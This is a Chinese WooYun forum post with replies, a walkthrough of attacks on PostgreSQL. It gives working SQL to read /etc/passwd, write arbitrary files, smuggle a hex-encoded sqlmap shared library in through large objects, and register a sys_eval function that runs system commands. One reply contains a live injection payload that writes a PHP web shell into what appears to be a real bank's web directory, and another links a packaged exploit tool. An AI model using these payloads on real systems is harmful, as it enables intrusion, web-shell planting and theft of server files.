当前位置:WooYun(白帽子技术社区) >> PostgreSQL >> 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)

关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)

疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-09 16:37

今天无意发现了个PostgreSQL环境,线上学习了下,一般的数据注射(读写数据库)差异不大,不做讨论,个人比较关心PostgreSQL的文件读取和命令执行方面。

1,文件读取/写入
PostgreSQL 8.1 以后提供了一组现成的文件操作函数 pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file(),用这些就可以胡作非为了?你错了。。。
可以用这个函数直接读取/etc/passwd?实际情况下测试并未成功,因为pg_xxx这个adminpack将权限限制在了./postgresql/data下面。
a)比如列目录
p1.png
b)读取权限允许的文件
p2.png
还有个写文件函数测试并未成功,而且只能像data下写也是满足不了需求的。
c)比较可行的文件读取方案
drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0;

p3.png
p4.png

利用注射修改偏移值很快就可以遍历出来了,但是还是有点寒碜,直接读出全部数据
DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
COPY wooyun(t) FROM '/etc/passwd';
SELECT * FROM wooyun;

p7.png
d)写入文件
DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES ('hello wooyun');
COPY wooyun(t) TO '/tmp/wooyun';

p5.png
读一下看看是否存在
p6.png
Bingo~

2,命令执行
这里大概有三种方式
a)利用 libc 中的 system() 函数
很多文章会让我们添加一个到libc库的自定义功能函数
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
但是返回错误
Error : ERROR:  incompatible library "/lib64/libc.so.6": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

这是因为当PostgreSQL加载外部动态库的时候,会检查MAGIC DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码。
这样一来系统自带的可利用的库默认我不再允许动态加载,所以此路不通(也许低版本走的通,但我手里这个不行)。
给一个 Pg_magic_func 代码样例:
extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
const Pg_magic_struct *
Pg_magic_func(void)
{
static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
return &Pg_magic_data;
}


b)利用Perl/Python脚本语言功能
在zone上看过一帖,http://zone.wooyun.org/content/1591,很纳闷为什么这样定义函数就可以执行系统命令,plperlu又是啥,经过资料的挖掘,发现是PostgreSQL自带的一种程序语言支持。
具体可见这里(http://www.postgresql.org/docs/8.3/static/xplang.html)。
大概意思就是PostgreSQL允许用除了SQL和C的其他语言来编写函数,但这个很悲剧啊,我的环境没有安装PostgreSQL的Python和Perl支持,待我弄个环境在来实现下过程。

c)利用C语言自定义函数
Perl、Python都能在PostgreSQL自定义了更不用说C了。这个在sqlmap的udf目录下有现成的,而且还是根据版本加了Pg_magic_func函数的,可以加载。。。牛鞭!
FengGou:8.4 $ pwd
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
FengGou:8.4 $ ls
lib_postgresqludf_sys.so

将sqlmap的so文件转为16进制的代码,7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
老他么长的一段,怎么还原成二进制的so库文件呢?这里感谢 @瞌睡龙 提供的Tips,这里用到了PostgreSQL的pg_largeobject“大对象数据”,官方原文:pg_largeobject 表保存那些标记着"大对象"的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储在 pg_largeobject 里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)。

a)查看PostgreSQL目录
SELECT setting FROM pg_settings WHERE name='data_directory';
b)查询oid
select lo_creat(-1);
oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。
c)oid与上面保持一致
delete from pg_largeobject where loid=18412;
等于变相清空"页面",不要干扰库的生成
d)把16进制的so文件塞进去
insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));
e)利用PostgreSQL自带函数将大型对象导出到文件
SELECT lo_export(18412, 'cmd.so');
f)建立UDF
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
g)调用这个UDF
select sys_eval('id');
p8.jpg

也许服务器没装PostgreSQL的Perl、Python支持,但是C库是通用的。



参考:
[1]PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
[2]OWASP Backend Security Project Testing PostgreSQL
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
[3]PostGreSQL注入学习(续篇)
http://www.hackol.com/news/201007270731289820885.shtml
[4]PostgreSQL Adminpack
http://www.postgresql.org/docs/8.4/static/adminpack.html
[5]PostgreSQL 外部动态连接库魔法块的使用
http://my.oschina.net/quanzl/blog/136907
[6]Chapter 37. Procedural Languages
http://www.postgresql.org/docs/8.3/static/xplang.html
[7]postgresql "初级"注入大法
http://zone.wooyun.org/content/1591
[8]pg_largeobject
http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

分享到:
  1. 1#
    回复此人 感谢
    园长 (喵~) | 2013-07-09 16:38

    我遇到postgre一个低权限的用户没法写文件...

  2. 2#
    回复此人 感谢
    byr5ec | 2013-07-09 16:38

    PostgreSQL 少见啊。

  3. 3#
    回复此人 感谢
    园长 (喵~) | 2013-07-09 16:42

    @byr5ec 只能说国内的很少国外的并不少,国内MYSQL的地位根深蒂固,没有多少人愿意去接受其他的东西。其实MYSQL和PostGreSQL非常相似

  4. 4#
    回复此人 感谢
    瞌睡龙 (drops) | 2013-07-09 16:43

    哈哈 犀利~!

  5. 5#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-07-09 16:53

    这么长啊,点个感谢先!

  6. 6#
    回复此人 感谢
    erevus | 2013-07-09 16:55

    不明觉厉 过来顶一下

  7. 7#
    回复此人 感谢
    livers (如梦似幻) | 2013-07-09 17:02

    PostgreSQL 有个特别的 就是利用json 方式一句话注入出很多信息 比concat 要强大。

  8. 8#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-09 17:12

    @livers 好一个数据查询技巧,是给表内数据转json格式输出?

  9. 9#
    回复此人 感谢
    落叶纷飞 (im luoye,Once the 00day) | 2013-07-09 17:55

    pg噶站只遇过几次啊,不过基本上爆出路径就打死左咯
    1.php?id=1;copy (select '<?php ($_POST[cmd]);?>') to '/home/data/sjbank/public_html/agent/bbg.php'

  10. 10#
    回复此人 感谢
    落叶纷飞 (im luoye,Once the 00day) | 2013-07-09 17:56

    落叶哥哥友情PS:PG注入点在写入一句话的时候不要有特殊字符,如'、"这些,很多时候会写入失败

  11. 11#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-09 18:37

    又被点播了下sqlmap,妈蛋真强悍。

  12. 12#
    回复此人 感谢
    lossite | 2013-07-09 20:58

    刺那本白帽子里一个演示的例子就是通过sqlmap在PostgreSQL创建udf,执行系统命令,不过还是手动有利于学习

  13. 13#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-09 21:15

    @lossite 是的是的,不能说PostgreSQL怎么写文件?sqlmap。PostgreSQL怎么执行系统命令?sqlmap。数据库安全?sqlmap。。。

  14. 14#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-09 21:17

    @落叶纷飞 恩,PostgreSQL这个特性真的很容易被搞呢,你的这个实战版貌似漏点了,sjbank?!

  15. 15#
    回复此人 感谢
    落叶纷飞 (im luoye,Once the 00day) | 2013-07-09 21:37

    @疯狗 我操,我2B了,直接把笔记里的东西复制出来了,操。。。

  16. 16#
    回复此人 感谢
    落叶纷飞 (im luoye,Once the 00day) | 2013-07-09 21:38

    @疯狗 我操,怎么编辑不了,建议WOOYUN以后增加编辑功能。。。。。

  17. 17#
    回复此人 感谢
    子墨 | 2013-07-10 08:26

    @落叶纷飞   哈哈,亮点了,‘/home/data/sjbank/public_html/agent/bbg.php'  这是某某银行么

  18. 18#
    回复此人 感谢
    请叫我大神 | 2013-07-10 08:27

    @疯狗 小伙伴的mac客户端是啥?

  19. 19#
    回复此人 感谢
    px1624 (aaaaaaaaa) | 2013-07-10 08:29

    @疯狗 呼叫,呼叫。q币重置的一个卡密被人用过了,什么节奏啊。。。

  20. 20#
    回复此人 感谢
    ty4z2008 | 2013-07-10 09:14

    pg的最高权限用户是postgre,不像其他数据库一样,root可以去折腾,但是pg的root账户不可以

  21. 21#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-10 10:24

    @请叫我大神 Navicat

  22. 22#
    回复此人 感谢
    Gavin | 2013-07-10 10:41

    之前遇到个9.0的,学习的时候,拿sqlmap里面的udf整理了个py利用工具
    http://www.linux520.com/bbs/viewthread.php?tid=9585&extra=page%3D1
    网盘:
    http://pan.baidu.com/share/link?shareid=2228793351&uk=1898022059
    没测试所有版本啊,如有BUG帮忙改改,再分享下~

  23. 23#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-10 10:51

    @Gavin 这就是社区的好啊,众人拾柴火焰高 :)
    我先去下个研究下了,话说9.0较之前比是更安全了还是?

  24. 24# 感谢(2)
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2013-07-10 11:49

    @px1624 技术贴里,你突然冒出个这个问题。。。。

  25. 25#
    回复此人 感谢
    px1624 (aaaaaaaaa) | 2013-07-10 12:18

    @gainover 。。。突然看到了,就喊了下。。。

  26. 26#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-10 12:54

    @px1624 就是,队形要整齐,疑难杂症直接短消息我

  27. 27#
    回复此人 感谢
    px1624 (aaaaaaaaa) | 2013-07-10 12:56

    @疯狗 。。sorry,it's the last times.

  28. 28#
    回复此人 感谢
    Gavin | 2013-07-10 15:22

    @疯狗 方法还是一样的,就是udf有变化,目前sqlmap只更新到9.0版本的udf,针对9.0以上版本测试了无效 :(

  29. 29#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2013-07-10 16:04

    @Gavin 我这边倒是有很多数据库UDF的源码可以参考,没发现sqlmap自带so的时候我是准备自己加Pg_magic_func编译一个来着。这些源码有兴趣么,我忙完一会打包下。

  30. 30# 感谢(1)
    回复此人 感谢
    Kuuki | 2013-07-12 15:23

    马克一下  前段时间目标站找到一个PostgreSQL的时间盲注点  sqlmap只能跑跑库 写不了文件和shell 让我好郁闷  等会儿试试手工

  31. 31#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2013-07-12 15:27

    以前发现东京大学是PostgreSQL,不过只能改内容,环境应该是用Jail,搞不定。

  32. 32#
    回复此人 感谢
    Anonymous (但愿你是狗,牵你一起走。@z7y @小胖子@园长 噢,最怕你是狗喔,我最怕你不走。@saline @园长 从前 @z7y 有个表弟 @VIP 后来死了。) | 2013-09-25 12:56

    好文章  -

  33. 33#
    回复此人 感谢
    xssx | 2014-05-22 17:37

    系统是64位的,PostgreSQL为9.1,怎么破。。。

  34. 34#
    回复此人 感谢
    xcc | 2014-06-08 19:17

    感觉语法好像都差不多哈,

  35. 35#
    回复此人 感谢
    你大爷在此 百无禁忌 (西瓜便宜了 西瓜便宜了 一毛钱一斤 一斤一毛钱) | 2015-06-05 11:25

    @落叶纷飞  为什么我写不进去呢 难道是权限的问题? 话说用postgresql的用户权限有几种

  36. 36#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2015-06-09 11:43

    @落叶纷飞 分句查询就有意思了

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无